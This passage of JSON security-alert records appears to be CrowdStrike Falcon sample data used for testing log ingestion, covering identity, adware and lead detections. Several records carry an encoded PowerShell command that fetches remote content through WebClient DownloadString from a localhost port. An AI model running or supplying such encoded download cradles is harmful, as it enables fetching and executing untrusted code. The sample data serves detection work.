ame":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"} -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"} -{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual 